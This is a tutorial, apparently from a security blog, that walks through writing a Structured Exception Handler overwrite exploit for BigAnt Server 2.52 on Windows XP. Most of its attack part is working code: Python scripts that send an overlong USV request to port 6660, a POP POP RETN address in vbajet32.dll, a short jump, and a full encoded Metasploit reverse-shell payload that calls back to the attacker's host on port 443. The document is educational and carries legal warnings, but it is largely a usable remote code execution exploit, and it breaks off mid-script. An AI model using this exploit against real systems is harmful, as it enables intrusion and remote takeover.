SEH Stack Based Windows Buffer Overflow Tutorial

Introduction

This is the second in my series of buffer overflow tutorials, which focuses on how to use an overwrite of the SEH handler address on the stack to gain control of code execution in a vulnerable program. The intent of this series of tutorials is to educate the reader on how they can write buffer overflow exploits. This will enable you to have a better understanding of the use of exploitation products such as Core Impact, Canvas and Metasploit, and it give you the tools to more accurately assess the risk of discovered vulnerabilities as well as to develop effective countermeasures for exploits out in the wild.

This tutorial is designed to build upon skills taught during my first tutorial. If you are not already familiar with the use of OllyDbg and creating basic buffer overflow exploits I'd recommend you start with the first tutorial before attempting this one. As in the last tutorial, the focus here will be on skills needed to actually exploit these vulnerabilities, and unnecessary theory will be omitted.

For this tutorial I will be using a vulnerability recently discovered by Lincoln, in BigAnt Server 2.52. You can download a copy of the vulnerable software to install on your test system via visiting the "Vulnerable Software" link in the original exploit.

I have been discussing this tutorial with the vulnerability discoverer Lincoln, and there is a possibility that he will write a complementary post either here or on his own blog discussing how the vulnerability was discovered. Watch this space for more.

EDIT: Here is the guest post discussing the discovery of the BigAnt vulnerability by Lincoln.

Warning! Please note that this tutorial is intended for educational purposes only, and you should NOT use the skills you gain here to attack any system for which you don't have permission to access. It's illegal in most jurisdictions to access a computer system without authorisation, and if you do it and get caught (which is likely) you deserve whatever you have coming to you. Don't say you haven't been warned.

If any BigAnt Server 2.52 users are reading this and you haven't patched this vulnerability, do yourself a favour and update immediately. I have tested the exploit against the patched version of the application and can confirm that (for me at least), the update I have linked to above fixes this issue.

BigAnt users can use the process described below to develop a safe exploit that can be used to test whether you are vulnerable.
I say this is a "safe" exploit, because if you create the exploit yourself you should know exactly what it does and what the impact will be if you run it on one of your systems, which is a claim that cannot be made for all other exploits you may find out on the public Internet. This ability to be able to safely test for yourself whether your application is vulnerable to a particular type of exploit is another benefit of having the skill to write your own buffer overflows.

Required Knowledge

To follow this tutorial you will need to have basic knowledge of:
  • TCP/IP networking,
  • management of the Windows Operating System (including installing software, running and restarting services, connecting to remote desktop sessions, etc), and
  • running Python and Perl scripts.

You need to have good enough knowledge of the attacking system you use (whether it be BackTrack, another type of Linux, Windows or anything else) to be able to run programs and scripts as well as transfer files.

Knowledge of basic debugger usage with OllyDbg, including the ability to start and attach to programs, insert breakpoints, step through code, etc, is also expected. This is covered in my first tutorial.

Python programming skills and knowledge of Metasploit usage are a bonus but not required.

System Setup

In order to reproduce this exploit for the tutorial, I used a victim system running Windows XP SP2, and a attacking system running BackTrack 4 PreFinal.

You don't need to reproduce my setup exactly, but I would suggest sticking to Windows XP SP2 or earlier for the victim system. The attacking system can be anything you feel comfortable in, as long as it can run the software I have specified below, and as long as you are able to translate the Linux commands I will be listing below into something appropriate for your chosen system.

If required, you can get a XP SP2 Virtual Machine to use as your victim by following the instructions in the Metasploit Unleashed course, starting in the section "02 Required Materials" - "Windows XP SP2" up to the section entitled "XP SP2 Post Install".

Your victim system must also use a X86 based processor.

In this tutorial my attacking and victim systems used the following IP Addresses. You will need to substitute the addresses of your own systems where ever these addresses appear in the code or commands listed below.
  • Attacker system: 192.168.20.11
  • Victim system: 192.168.10.27
The two systems are networked together and I have interactive GUI access to the desktop of the victim system via a remote desktop session. You will need to be able to easily and quickly switch between controlling your attacking system and the victim system when following this tutorial, and you will need to be able to transfer files from your victim system to the attacking system, so make sure you have things set up appropriately before you proceed.

Required Software on Attacking and Victim Systems


Your attacker and victim systems will need the following software installed in order to follow this tutorial. By using BackTrack 4 PreFinal for your attacking system you will take care of all but the last two attacking system prerequisitites. The last two pieces of software are basic perl scripts I wrote specifically for performing certain tasks during the exploit development process. There are other more efficient ways to achieve the same goals, but using these will give you a better appreciation of how the process works.

The attacking system requires the following software:

The victim system requires the following software:
Please note that there are various service packs for BigAnt Server 2.52, and the version currently available on the BigAnt Software website (Service pack 8 or above) is not vulernable to this particular exploit.  I think Service Packs version 7 and below will work too, but I have not confirmed this.

The link above is to the vulnerable version of the software.

Ensure that all required software is installed and operational before you proceed with this tutorial.

Attaching the BigAnt Server to a Debugger


In order to be able to reliably develop an exploit for the BigAnt Server software, we need to watch how the application behaves when an exploitable exception is generated. To achieve this we use a debugger like OllyDbg.

The process of attaching to a process in the OllyDbg was covered in my first tutorial, however in this section I will provide a quick summary of how we can attach OllyDbg to antserver.exe and how we can restart the process as required when we need to repeat triggering the exploitable vulnerability.

The AntServer process that we will need to attach to can be controlled by using the BigAnt Console, a shortcut to which should have been placed on the desktop when you installed BigAnt Server on your victim system. If you open this BigAnt console and select the Server->Run Service Control menu option, you will be greeted with a interface that you can use to restart the AntServer process.



Once the AntServer process is running, to attach to it in OllyDbg, use the File->Attach menu option and select the AntServer.exe process from the list. Then hit F9 or the run button to let the program run.

When you need to restart the process (for example if you have made a change to your exploit code and want to retrigger the vulnerability) close OllyDbg, select the AntServer process in the BigAnt console, use the Restart button in the BigAnt console to restart the process, then reopen OllyDbg and attach to AntServer.exe once again.

You will need to repeat this process every time you want to resend the exploit.


Triggering the Vulnerability

Now that we have the housekeeping details out of the way lets get into the interesting stuff.

By looking at the original exploit and the associated security advisory, we can see that the exploitable vulnerability is triggered by sending a overly long USV request to the antserver.exe process on port 6660 (this port number can actually be changed during initial configuration).

We can write a Python script to trigger the exploit by sending the following data:
"USV " + "A" * 2500 + "\r\n\r\n"

The script, which will serve as a basis for the exploit we are developing, is provided below. Note that there is a space inside the double quotes AFTER the USV string.

#!/usr/bin/python
import socket

target_address="192.168.10.27"
target_port=6660

buffer = "USV " + "\x41" * 2500 + "\r\n\r\n"

sock=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect=sock.connect((target_address,target_port))
sock.send(buffer)
sock.close()

Sending this data to the application causes our debugger to stop with an access violation writing to 014D0000, and at the time of the crash EIP is pointing to 0047600F.



This doesn't appear to be a EIP overwrite, as EIP has not been overwritten with characters taken from our buffer of all "A"s, as happened during the development of the exploit in my first tutorial.

So no EIP overwrite here. Is this the end of the story as far as Windows stack buffer overflows goes? No, not quite.

When we check SEH chain of the application, using the View->SEH Chain menu option in OllyDbg, we see that the SEH handler for the application has been overwritten with 41414141, which is what we sent in our buffer.



At this point, if we use the Shift and F9 keys to pass the exception to antserver.exe, we will see that this results in an access violation when executing 41414141, and our EIP register now points to 41414141.



So what has happened here? We passed the first exception (where EIP was pointing to 0047600F) to the program to handle, and this resulted in another access violation, this time with EIP pointing to 41414141, a value from our buffer. It appears that the program tried to handle the exception by running the instructions located at the overwritten SEH address of 41414141. This overwritten SEH address gives us an opportunity to gain control of code execution, but the process is not quite as straightforward as with simple EIP overwrites. We will now need to look at some details about SEH, including protection methods that are in place to help prevent SEH exploitation.

Quick Introduction to SEH

The Structured Exception Handler is used to handle exceptions within Windows programs. Every process has a Operating System supplied SEH, and when a Windows program has an exception that it cannot handle itself, control is passed to a SEH address which has code that can be used to show a dialog box explaining that the program has crashed or to pass control to a debugger if one is running. When control from our original exception was passed from the debugger back to antserver.exe, the windows exception handler was actually involved in mediating the process. The fact that the windows exception handler becomes involved in this process allows some additional protections against SEH exploitation to be added, which we have to learn to work around when performing SEH overwrites on certain versions of Windows.

Zeroing of CPU Registers

If you happen to be debugging antserver.exe on Windows XP SP1 or above, you might now notice that several of your register values (in the top right hand pane of OllyDbg) now seem to be set to zero, and the rest don't appear to point anywhere near our buffer. The zeroing out of registers when using the SEH handler is a new feature added in XP SP1 in order to make SEH exploitation more difficult, however it is still possible to create reliable exploits even with this feature in place.

If we look at the third entry down on the stack (bottom right pane in the main OllyDbg window) you will notice that there is a ASCII "AAAAA" string next to the entry, indicating that a long string of A characters exists at this memory location. Since our buffer was made up of a long string of "A" characters (A is the ASCII representation of the byte \x41), this would indicate that this stack entry points to a memory location within our buffer. If you right click on this stack entry and select Follow in Dump you will see the long string of As in the memory dump in the bottom left pane of the main Olly window. To enable us to run code sent in our buffer, we need to redirect execution to this location in memory.

There are a number of different methods by which we can do this, but the most common method used in SEH exploits is the POP, POP, RETN method. The stack is essentially a structure in memory comprised of a virtual pile of 32 bit (4 byte) values. The POP instruction takes the top value off this pile and puts it somewhere else, such as into one of the 32 bit CPU registers. Performing two POP instructions removes the top two entries from the stack and puts them elsewhere (for the purposes of exploiting SEH we don't really care where they go) leaving the third entry at the top of the stack. The RETN instruction then takes the memory address that is now at the top of the stack and tells the CPU to continue execution from there.

If we overwrite the SEH address with an address that points to the start of a POP, POP, RETN set of instructions, and that address is used by the program to manage that exception, we will have taken control of CPU execution to run our own code within the buffer. This is similar to the method by which we took control of CPU execution via a direct EIP RETN overwrite, but there is one more protection method called SafeSEH that we need to take into account to successfully achieve this.

SafeSEH

In Windows XP SP2 and Windows Server 2003 the windows exception handler makes use of a new protection feature called SafeSEH. Essentially SafeSEH is a linker option can be used when compiling a executable module. When this option is enabled in a module, only addresses listed as on a registered SEH handlers list can be used as SEH Handlers within that module. This means that if you try to use a POP, POP, RETN address that isn't on the registered handlers list, from a module compiled with /SafeSEH ON, the SEH address will not be used by the windows exception handler and the SEH overwrite will fail.

In addition, there is also a IMAGE_DLLCHARACTERISTICS_NO_SEH flag, which when set on a DLL prevents any addresses from that DLL being used as SEH Handlers.

Both of these DLL flags constrain the potential locations in which we can look for SEH overwrite addresses.

There are a few approaches we can use to bypass these SafeSEH protections:
  • Use a overwrite address from a module that was not compiled with the /SafeSEH ON or IMAGE_DLLCHARACTERISTICS_NO_SEH options. Third party modules, and main executables are usually compiled without these options, however addresses from the main executables are often unsuitable because they contain a leading zero \x00 character which often break overflows.
  • Use an instruction from a predictable spot in memory, marked executable, that sits outside the areas of loaded modules considered in scope for the SEH verification tests.
  • Use an address from the heap.
  • Use a registered handler address for the SEH overwrite. For most vulnerabilities this won't create a usable exploit.
  • On Windows Server 2003 before SP1, it was possible to use SEH overwrite addresses in modules like ATL.dll, because the registered handlers list was not checked by the exception handler. On Windows XP SP2 and WIndows Server SP1 and up this method is not viable.

Finding a SEH Overwrite Address

For this exploit, we will use the first and easiest method of finding an appropriate address in a module with no /SafeSEH ON or IMAGE_DLLCHARACTERISTICS_NO_SEH options. The quickest method to find such a module is to use the OllySSEH OllyDbg plugin, which can give us a list of all modules loaded with the application and their SafeSEH status. We then just need to pick a module that is marked as /SafeSEH Off and find a POP, POP, RETN address from that module. However when I run the SafeSEH plugin while attached to AntServer.exe, I get an exception in OllyDbg.

This means I am going to be doing things the hard way (I'd encourage you to try OllySSEH though - maybe you won't get the same crash that I did).

As an alternate method to using OllySSEH, we can start by using the View->Executable Modules menu option to show a the list of modules loaded with the application, and we can then analyse each individual file using msfpescan to determine whether we can use it to provide a usable SEH overwrite address.



We are looking for two things within the module - first of all we don't want to see any registered SEH handlers listed (this would mean that the module was compiled with /SafeSEH On), and second we don't want to see the IMAGE_DLLCHARACTERISTICS_ NO_SEH flag (0x0400) enabled in the DllCharacteristics field.

Knowing that the majority of the main Windows DLLs will be compiled with /SafeSEH On or IMAGE_DLLCHARACTERISTICS_ NO_SEH, we first look for any third party DLLs in the list. These will usually be loaded from the same directory as the main executable. In this case there are no such DLLs loaded with AntServer.exe.

We next have a look at the list for any DLLs that did not come standard with the Windows Operating System. There is no real science to this process, and it will take some familiarity with the Windows Operating System to determine which DLLs are core system DLLs are which are not. If you are unsure you can just try all DLLs listed until you run across one that works. I am going to start with the vbajet32.dll module, which I recognise as a VB runtime file.

I copied this DLL to my attacking machine and analysed it using the following commands.

This next command uses msfpescan to check for registered SEH handlers in the DLL. No results means that the module was not compiled with /SafeSEH On.

user@bt4pf:/tmp$ msfpescan -i vbajet32.dll | grep SEHandler

This command shows the value stored in the DllCharacteristics field of the DLL. We are looking for the absense of a 0x0400 value in the result. This is a hex representation of a binary value, so any value that indicates that the third bit of the second byte from the right is set means that No SEH is active and we cannot use the DLL for our SEH overwrite. To put this another way, if we only look at the third Hex digit from the right (the one marked by X in 0x0X00), values we DONT want to see here are 4, 5, 6, 7, C, E, F.

user@bt4pf:/tmp$ msfpescan -i vbajet32.dll | grep DllCharacteristics
DllCharacteristics 0x00000000

There is a zero in the third hex character from the right (the one marked by X in 0x00000X00) This is a good sign and means that we can use vbajet32.dll to find our SEH overwrite address.

Lets now search for a POP, POP, RETN address in vbajet32.dll. From the Executable Modules list in OllyDbg, double click on the vbajet32.dll entry to view it in the main OllyDbg window. Now right click in the CPU pane (top left) and select Search for->Sequence of Commands.



In the Find Sequence of Commands window, enter the following text
POP r32
POP r32
RETN
And then hit Find.



This will find the next POP, POP, RETN instruction within this module. I found an address at 0F9A196A.



This address doesn't have any of the usual bad characters (\x00\x0a\x0d) so we will use it for our SEH overwrite address.


Finding the SEH Overwrite Offset

The next thing we want to find out is where in our buffer the SEH overwrite occurs. As we did in the basic stack overflow article, we will find the appropriate character using a unique string generated using the Metasploit pattern_create.rb tool.

Generate the pattern - 2500 bytes in length.

user@bt4pf:~$ /pentest/exploits/framework3/tools/pattern_create.rb 2500
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa.....e6De7De8De9Df0Df1Df2D

Note: I have truncated the unique string in the output above and in my skeleton exploit below for readabilitys sake. Make sure you use the entire string!

Lets put the unique string into our exploit.

#!/usr/bin/python
import socket

target_address="192.168.10.27"
target_port=6660

buffer = "USV "
buffer+= "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa.....e6De7De8De9Df0Df1Df2D"
buffer+= "\r\n\r\n"

sock=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect=sock.connect((target_address,target_port))
sock.send(buffer)
sock.close()

We now want to close and repoen OllyDbg, restart the antserver.exe process (this can be done by running the BigAnt Console and using the Restart button you will find by going to the Server menu, selecting Run Service Control and viewing the console that appears) and reattach antserver.exe in Olly. Hit play or F9 to let antserver.exe run.

Now run the exploit against BigAnt again....

When you get the access violation error, use View->SEH Chain to view the SEH handler value. At this point you will see the value that has overwritten the SEH value. For me this was 42326742. Lets use pattern_offset.rb to find where in our buffer this string exists (and hence which section of our buffer overwrites SEH).

user@bt4pf:~$ /pentest/exploits/framework3/tools/pattern_offset.rb 42326742
966

The overwrite occurs at byte 966.

Lets restructure our exploit to confirm this.

#!/usr/bin/python
import socket

target_address="192.168.10.27"
target_port=6660

buffer = "USV "
buffer+= "\x90" * 962
buffer+= "\xcc\xcc\xcc\xcc"
buffer+= "\x41\x41\x41\x41"
buffer+= "\x90" * (2504 - len(buffer))
buffer+= "\r\n\r\n"

sock=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect=sock.connect((target_address,target_port))
sock.send(buffer)
sock.close()

You may notice that I have included 4 different characters in the last 4 bytes leading up to the end of the 966 bytes in the buffer before the SEH overwrite address. The reason for this will soon become clear.

Lets stop and start Olly and antserver.exe, reattach antserver.exe and let it run, and then rereun the new exploit.

We get the access violation again, and when we check the SEH Chain, we see that its pointing to 41414141, meaning that our offset into the buffer is correct.


Gaining Control of the CPU

Now lets modify our exploit to place the SEH Overwrite POP, POP, RETN address we found earlier into its appropriate place. Remember we need to take account for the little endian order of X86 processors when entering the address.

#!/usr/bin/python
import socket

target_address="192.168.10.27"
target_port=6660

buffer = "USV "
buffer+= "\x90" * 962
buffer+= "\xcc\xcc\xcc\xcc"
buffer+= "\x6A\x19\x9A\x0F" # SEH Overwrite 0F9A196A POP EBP, POP EBX, RETN, vbajet32.dll
buffer+= "\x90" * (2504 - len(buffer))
buffer+= "\r\n\r\n"

sock=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect=sock.connect((target_address,target_port))
sock.send(buffer)
sock.close()

Before we go and actually run this exploit however, we want to set a breakpoint on our SEH overwrite address to confirm that it is being hit.

Right click in the CPU pane and select Go to->Expression, then enter the address of your SEH overwrite POP, POP RETN instruction (0F9A196A in my case) and hit OK. When you see the address in your CPU window (repeat the process if it doesn't appear), use the F2 key to set a breakpoint on the address. The address portion of the first POP instruction should turn red.


Then run the exploit.

When the Access Violation error occurs, check the SEH Chain to confirm that the correct address has been used in the overwrite, and that a breakpoint has been set on that address (the entry should be red if that is the case).


Then use Shift + F9 keys to pass the exception to the program, the exception handler should kick in and CPU execution should continue to the SEH address you specified, where the breakpoint you just set will pause the processes execution in the debugger.

We can now use the F7 key three times to step through the POP, POP, RETN instructions so that execution will run to our buffer.

When we reach our buffer you will notice something interesting. We seem to have jumped to the location in our buffer only four bytes before our overwrite address (to the first of those \xcc characters I added to the exploit).

Getting out of the Four Byte Corner

Four bytes is not enough to run any decent shellcode, so somehow we need to move to another location within our buffer that gives us more space. By right clicking on the first \xcc instruction in the CPU window and selecting Follow in Dump->Selection option, we will see the structure of our buffer and our current location within it in the memory dump area (bottom left corner).



We can see that there are a large number of \x90 characters just beyond our current position, and by taking the starting address of these characters 013CFD84 and subtracting it from the ending address of the 90 characters at the bottom of the memory dump 013CFFFF we have 0x27B or 635 characters to use after the overwrite address (use Hexadecimal mode in your calculator to do this subtraction). In addition, checking before the foru \xcc characters we have from 013CFD7B to 013CF9BA or 0x3C1 961 characters. Either space is enough for us to use for shellcode.

For our first time around lets keep things as simple as possible and use the space after the overwrite address for our shellcode. The after we are done I will demonstrate a method we can use to go back into the first buffer, for use in cases where we have less buffer space after the SEH overwrite address.

To get out of our four byte space into the area that follows the SEH overwrite section, we will use the JMP SHORT assembly instruction. This instruction tells the CPU to "jump" forward in memory for a specified number of bytes, and to continue execution at the point where the jump is complete. The opcode for a JMP SHORT instruction is \xeb\xXX where XX stands for the amount of bytes to jump forward, and the jump is counted beginning at the next instruction after the JUMP SHORT command. Consequently, to get over our SEH overwrite address to the buffer space beyond, we want to jump forward by 6 bytes which is \xeb\x06. That includes 4 bytes for the SEH overwrite and two bytes to account for the remaining bytes in the four byte area we are currently working in. We will fill in the remaining two instructions in the four byte area with \x90 NOP instructions.

To do this we will add the characters \xeb\x06\x90\x90 into our exploit in the 4 bytes before the SEH overwrite. However before we test this in the exploit we will also generate some shellcode

Adding Shellcode to the Exploit

We will also now generate some reverse shell shellcode to place into our exploit, and we will ensure that we encode it to get rid of potential bad characters such as '\x00\x0a\0x0d'

When running this command notice that I am also specifying a maximum size for the shellcode using the msfencode -s switch to ensure that the resultant shellcode will fit within my buffer space (which is 635 - the 16 bytes I am intending to add for leading NOPs). 619 bytes was always going to be more than enough space for this type of shellcode, so this switch is a little unneccessary here, but its good to be aware of this option when you are working on exploits that have less available space. I also specified the architecture to encode for (x86), the output format ('c' language style), and the characters to avoid using (\x00\x0a\x0d) as well as specifying my own local attacking systems address and port (192.168.20.11:443) for the reverse shellcode. If the Metasploit tools are not in your path (they will be in BT4 Prefinal but not in older versions) then you will need to provide a full path to the binaries in this command, or otherwise change to the Metasploit directory which is /pentest/exploits/framework3 on BackTrack.

user@bt4pf:~$ msfpayload windows/shell_reverse_tcp LHOST=192.168.20.11 LPORT=443 R | msfencode -a x86 -b '\x00\x0a\x0d' -s 619 -t c
[*] x86/shikata_ga_nai succeeded with size 342 (iteration=1)

unsigned char buf[] =
"\xbe\xa5\x70\xc4\x71\x31\xc9\xda\xcc\xb1\x4f\xd9\x74\x24\xf4"
"\x5a\x83\xea\xfc\x31\x72\x0f\x03\x72\x0f\xe2\x50\x8c\x2c\xf8"
"\x9a\x6d\xad\x9b\x13\x88\x9c\x89\x47\xd8\x8d\x1d\x0c\x8c\x3d"
"\xd5\x40\x25\xb5\x9b\x4c\x4a\x7e\x11\xaa\x65\x7f\x97\x72\x29"
"\x43\xb9\x0e\x30\x90\x19\x2f\xfb\xe5\x58\x68\xe6\x06\x08\x21"
"\x6c\xb4\xbd\x46\x30\x05\xbf\x88\x3e\x35\xc7\xad\x81\xc2\x7d"
"\xac\xd1\x7b\x09\xe6\xc9\xf0\x55\xd6\xe8\xd5\x85\x2a\xa2\x52"
"\x7d\xd9\x35\xb3\x4f\x22\x04\xfb\x1c\x1d\xa8\xf6\x5d\x5a\x0f"
"\xe9\x2b\x90\x73\x94\x2b\x63\x09\x42\xb9\x71\xa9\x01\x19\x51"
"\x4b\xc5\xfc\x12\x47\xa2\x8b\x7c\x44\x35\x5f\xf7\x70\xbe\x5e"
"\xd7\xf0\x84\x44\xf3\x59\x5e\xe4\xa2\x07\x31\x19\xb4\xe0\xee"
"\xbf\xbf\x03\xfa\xc6\xe2\x4b\xcf\xf4\x1c\x8c\x47\x8e\x6f\xbe"
"\xc8\x24\xe7\xf2\x81\xe2\xf0\xf5\xbb\x53\x6e\x08\x44\xa4\xa7"
"\xcf\x10\xf4\xdf\xe6\x18\x9f\x1f\x06\xcd\x30\x4f\xa8\xbe\xf0"
"\x3f\x08\x6f\x99\x55\x87\x50\xb9\x56\x4d\xe7\xfd\xc0\xae\x50"
"\x15\x1b\x47\xa3\x16\x1a\x2c\x2a\xf0\x76\x42\x7b\xaa\xee\xfb"
"\x26\x20\x8f\x04\xfd\xa1\x2c\x96\x9a\x31\x3b\x8b\x34\x65\x6c"
"\x7d\x4d\xe3\x80\x24\xe7\x16\x59\xb0\xc0\x93\x85\x01\xce\x1a"
"\x48\x3d\xf4\x0c\x94\xbe\xb0\x78\x48\xe9\x6e\xd7\x2e\x43\xc1"
"\x81\xf8\x38\x8b\x45\x7d\x73\x0c\x10\x82\x5e\xfa\xfc\x32\x37"
"\xbb\x03\xfa\xdf\x4b\x7b\xe7\x7f\xb3\x56\xac\x70\xfe\xfb\x84"
"\x18\xa7\x69\x95\x44\x58\x44\xd9\x70\xdb\x6d\xa1\x86\xc3\x07"
"\xa4\xc3\x43\xfb\xd4\x5c\x26\xfb\x4b\x5c\x63\xf1";

Lets plug the JUMP instruction, 16 bytes of NOP padding and our shellcode into the exploit.

#!/usr/bin/python
import socket

target_address="192.168.10.27"
target_port=6660

buffer = "USV "
buffer+= "\x90" * 962
buffer+= "\xeb\x06\x90\x90" # JMP SHORT 6, NOP Padding
buffer+= "\x6A\x19\x9A\x0F" # SEH Overwrite 0F9A196A POP EBP, POP EBX, RETN, vbajet32.dll
buffer+= "\x90" * 16 # NOP padding before shellcode
# msfpayload windows/shell_reverse_tcp LHOST=192.168.20.11 LPORT=443 R | msfencode -a x86 -b '\x00\x0a\x0d' -s 619 -t c - 342 bytes x86/shikata_ga_nai
buffer+= ("\xbe\xa5\x70\xc4\x71\x31\xc9\xda\xcc\xb1\x4f\xd9\x74\x24\xf4"
"\x5a\x83\xea\xfc\x31\x72\x0f\x03\x72\x0f\xe2\x50\x8c\x2c\xf8"
"\x9a\x6d\xad\x9b\x13\x88\x9c\x89\x47\xd8\x8d\x1d\x0c\x8c\x3d"
"\xd5\x40\x25\xb5\x9b\x4c\x4a\x7e\x11\xaa\x65\x7f\x97\x72\x29"
"\x43\xb9\x0e\x30\x90\x19\x2f\xfb\xe5\x58\x68\xe6\x06\x08\x21"
"\x6c\xb4\xbd\x46\x30\x05\xbf\x88\x3e\x35\xc7\xad\x81\xc2\x7d"
"\xac\xd1\x7b\x09\xe6\xc9\xf0\x55\xd6\xe8\xd5\x85\x2a\xa2\x52"
"\x7d\xd9\x35\xb3\x4f\x22\x04\xfb\x1c\x1d\xa8\xf6\x5d\x5a\x0f"
"\xe9\x2b\x90\x73\x94\x2b\x63\x09\x42\xb9\x71\xa9\x01\x19\x51"
"\x4b\xc5\xfc\x12\x47\xa2\x8b\x7c\x44\x35\x5f\xf7\x70\xbe\x5e"
"\xd7\xf0\x84\x44\xf3\x59\x5e\xe4\xa2\x07\x31\x19\xb4\xe0\xee"
"\xbf\xbf\x03\xfa\xc6\xe2\x4b\xcf\xf4\x1c\x8c\x47\x8e\x6f\xbe"
"\xc8\x24\xe7\xf2\x81\xe2\xf0\xf5\xbb\x53\x6e\x08\x44\xa4\xa7"
"\xcf\x10\xf4\xdf\xe6\x18\x9f\x1f\x06\xcd\x30\x4f\xa8\xbe\xf0"
"\x3f\x08\x6f\x99\x55\x87\x50\xb9\x56\x4d\xe7\xfd\xc0\xae\x50"
"\x15\x1b\x47\xa3\x16\x1a\x2c\x2a\xf0\x76\x42\x7b\xaa\xee\xfb"
"\x26\x20\x8f\x04\xfd\xa1\x2c\x96\x9a\x31\x3b\x8b\x34\x65\x6c"
"\x7d\x4d\xe3\x80\x24\xe7\x16\x59\xb0\xc0\x93\x85\x01\xce\x1a"
"\x48\x3d\xf4\x0c\x94\xbe\xb0\x78\x48\xe9\x6e\xd7\x2e\x43\xc1"
"\x81\xf8\x38\x8b\x45\x7d\x73\x0c\x10\x82\x5e\xfa\xfc\x32\x37"
"\xbb\x03\xfa\xdf\x4b\x7b\xe7\x7f\xb3\x56\xac\x70\xfe\xfb\x84"
"\x18\xa7\x69\x95\x44\x58\x44\xd9\x70\xdb\x6d\xa1\x86\xc3\x07"
"\xa4\xc3\x43\xfb\xd4\x5c\x26\xfb\x4b\x5c\x63\xf1")
buffer+= "\x90" * (2504 - len(buffer))
buffer+= "\r\n\r\n"

sock=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect=sock.connect((target_address,target_port))
sock.send(buffer)
sock.close()


And we restart the debugger and get the antserver.exe process running once more.

Make sure that you set a breakpoint on your SEH overwrite address (you may not have to do this as it may already be set), because we want to view our shellcode in the debugger to do a quick check that it is unmmolested. Stepping through from our breakpoint will also let us watch our short jump to confirm that it works as we expected.

Now we run our exploit... the crash happens as expected, but when we check our SEH chain we see that the SEH handler now points to 90909090.



This is no good. Lets remove the shellcode from our exploit, restart the applicaiton and debugger, and try again.

Note: If at this point your SEH Handler address does not get overwritten with an incorrect 90909090 value (which is possible if your shellcode was encoded slightly differently by msfencode), still try and follow along anyway by resetting your exploit code to the snippet below. The process of removing bad characters from an exploit is still an important skill to learn.

The exploit code goes back to the following (note that the total buffer size sent will still be the same because of our line "buffer+= "\x90" * (2504 - len(buffer))")

#!/usr/bin/python
import socket

target_address="192.168.10.27"
target_port=6660

buffer = "USV "
buffer+= "\x90" * 962
buffer+= "\xeb\x06\x90\x90" # JMP SHORT 6, NOP Padding
buffer+= "\x6A\x19\x9A\x0F" # SEH Overwrite 0F9A196A POP EBP, POP EBX, RETN, vbajet32.dll
buffer+= "\x90" * 16 # NOP padding before shellcode
# msfpayload windows/shell_reverse_tcp LHOST=192.168.20.11 LPORT=443 R | msfencode -a x86 -b '\x00\x0a\x0d' -s 619 -t c - 342 bytes x86/shikata_ga_nai
buffer+= "\x90" * (2504 - len(buffer))
buffer+= "\r\n\r\n"

sock=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect=sock.connect((target_address,target_port))
sock.send(buffer)
sock.close()
After running this and checking our SEH chain we see it is back to our expected value. So what is going on? The most likely problem is a bad character in our shellcode, one that is breaking our exploit. We need to find the bad character and reencode our shellcode to avoid it.


Bad Characters

Bad characters can have a number of different effects in an exploit. Sometimes they get translated to one or more other characters, or they get removed from the string entirely, in which case you work out which characters are bad by examining the memory dump in the debugger, finding your buffer, and seeing which characters are missing or have changed. In other cases however, bad characters seem to completely change the structure of the buffer, and simple memory examination won't tell you which ones are missing. This is what appears to be happening to us now.

In these cases we have to use a bit of a trial and error process, where we feed sets of characters to the program in a structured fashion, check the results we get, and when we see signs that a bad character has been sent narrow down the list of characters we send until the bad character is revealed.

To assist with this we will use the perl script generatecodes.pl, which will give us a separated list of all possible characters, except those we specify. This will save us a bit of time in figuring out which characters are bad, as we will only have to test each character once.

There are ways to automate this process, which I will go into further in a future entry. Automation of this bad character discovery process can be a big help when writing exploits for programs with a lot of bad characters.

We run generatecodes.pl at the command line (don't forget to mark it as executable with chmod +x first), and tell it not to give us the 00,0a,0d characters in the output.

user@bt4pf:~$ ./generatecodes.pl 00,0a,0d
"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0b\x0c\x0e\x0f\x10\x11"
"\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20"
"\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f"
"\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e"
"\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d"
"\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c"
"\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b"
"\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a"
"\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89"
"\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98"
"\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7"
"\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6"
"\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5"
"\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4"
"\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3"
"\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2"
"\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"

We now take each of these lines of output and feed them into our exploit one by one until we see a problem with our overwritten SEH address. We will need to restart the debugger and program and reattach after each crash. Our first run through will look like the following

#!/usr/bin/python
import socket

target_address="192.168.10.27"
target_port=6660

buffer = "USV "
buffer+= "\x90" * 962
buffer+= "\xeb\x06\x90\x90" #JMP SHORT 6, NOP Padding
